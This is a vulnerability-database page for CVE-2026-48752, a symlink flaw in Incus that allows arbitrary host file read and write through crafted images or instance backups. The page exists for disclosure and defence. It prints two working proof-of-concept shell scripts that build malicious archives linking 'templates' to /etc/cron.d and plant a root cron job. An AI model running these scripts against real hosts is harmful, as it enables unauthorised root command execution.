CVE-2026-48752

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Incus has arbitrary file read+write on host via templates/ symlink in malicious image

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

read

#incus config template show afrw-image-templates-symlink $FILENAME

write

printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup" cat<<__EOF__>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false __EOF__

mkdir "${tmpdir}/img/backup/container" cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles:

  • default
config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} __EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink __EOF__

mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

read

#incus config template show afrw-backup-templates-symlink $FILENAME

write

printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

CVSS v3
9.9
EG Score
9.9(low)
EPSS
KEV
Not listed

Published

June 26, 2026

Last Modified

June 26, 2026

Vendor Advisories for CVE-2026-48752(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 41× in last 7d / 62× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 04:44 UTCEG score recompute
  2. 2026-07-07 00:40 UTCEG score recompute
  3. 2026-07-06 20:35 UTCEG score recompute
  4. 2026-07-06 16:29 UTCEG score recompute
  5. 2026-07-06 12:12 UTCEG score recompute
  6. 2026-07-06 08:00 UTCEG score recompute
  7. 2026-07-06 03:55 UTCEG score recompute
  8. 2026-07-05 23:51 UTCEG score recompute
  9. 2026-07-05 19:47 UTCEG score recompute
  10. 2026-07-05 15:43 UTCEG score recompute
  11. 2026-07-05 11:39 UTCEG score recompute
  12. 2026-07-05 07:35 UTCEG score recompute
  13. 2026-07-05 03:31 UTCEG score recompute
  14. 2026-07-04 23:27 UTCEG score recompute
  15. 2026-07-04 19:22 UTCEG score recompute
  16. 2026-07-04 15:18 UTCEG score recompute
  17. 2026-07-04 11:10 UTCEG score recompute
  18. 2026-07-04 07:04 UTCEG score recompute
  19. 2026-07-04 02:57 UTCEG score recompute
  20. 2026-07-03 22:50 UTCEG score recompute
  21. 2026-07-03 18:44 UTCEG score recompute
  22. 2026-07-03 14:40 UTCEG score recompute
  23. 2026-07-03 10:36 UTCEG score recompute
  24. 2026-07-03 06:28 UTCEG score recompute
  25. 2026-07-03 02:22 UTCEG score recompute
Show 37 more
  1. 2026-07-02 22:18 UTCEG score recompute
  2. 2026-07-02 18:13 UTCEG score recompute
  3. 2026-07-02 14:09 UTCEG score recompute
  4. 2026-07-02 10:06 UTCEG score recompute
  5. 2026-07-02 06:01 UTCEG score recompute
  6. 2026-07-02 01:57 UTCEG score recompute
  7. 2026-07-01 21:54 UTCEG score recompute
  8. 2026-07-01 17:49 UTCEG score recompute
  9. 2026-07-01 13:43 UTCEG score recompute
  10. 2026-07-01 09:39 UTCEG score recompute
  11. 2026-07-01 05:35 UTCEG score recompute
  12. 2026-07-01 01:31 UTCEG score recompute
  13. 2026-06-30 21:27 UTCEG score recompute
  14. 2026-06-30 17:21 UTCEG score recompute
  15. 2026-06-30 13:15 UTCEG score recompute
  16. 2026-06-30 09:09 UTCEG score recompute
  17. 2026-06-30 05:05 UTCEG score recompute
  18. 2026-06-30 01:00 UTCEG score recompute
  19. 2026-06-29 20:56 UTCEG score recompute
  20. 2026-06-29 16:52 UTCEG score recompute
  21. 2026-06-29 12:48 UTCEG score recompute
  22. 2026-06-29 08:44 UTCEG score recompute
  23. 2026-06-29 04:40 UTCEG score recompute
  24. 2026-06-29 00:36 UTCEG score recompute
  25. 2026-06-28 20:30 UTCEG score recompute
  26. 2026-06-28 16:26 UTCEG score recompute
  27. 2026-06-28 12:22 UTCEG score recompute
  28. 2026-06-28 08:18 UTCEG score recompute
  29. 2026-06-28 04:13 UTCEG score recompute
  30. 2026-06-28 00:07 UTCEG score recompute
  31. 2026-06-27 20:03 UTCEG score recompute
  32. 2026-06-27 15:59 UTCEG score recompute
  33. 2026-06-27 11:55 UTCEG score recompute
  34. 2026-06-27 07:50 UTCEG score recompute
  35. 2026-06-27 03:45 UTCEG score recompute
  36. 2026-06-26 23:41 UTCEG score recompute
  37. 2026-06-26 19:37 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48752?
CVE-2026-48752 is a critical vulnerability published on June 26, 2026. Incus has arbitrary file read+write on host via templates/ symlink in malicious image Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details For container images,…
When was CVE-2026-48752 disclosed?
CVE-2026-48752 was first published in the National Vulnerability Database on June 26, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48752?
CVE-2026-48752 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48752?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48752, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-48752

Explore →

Is Your Infrastructure Affected by CVE-2026-48752?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.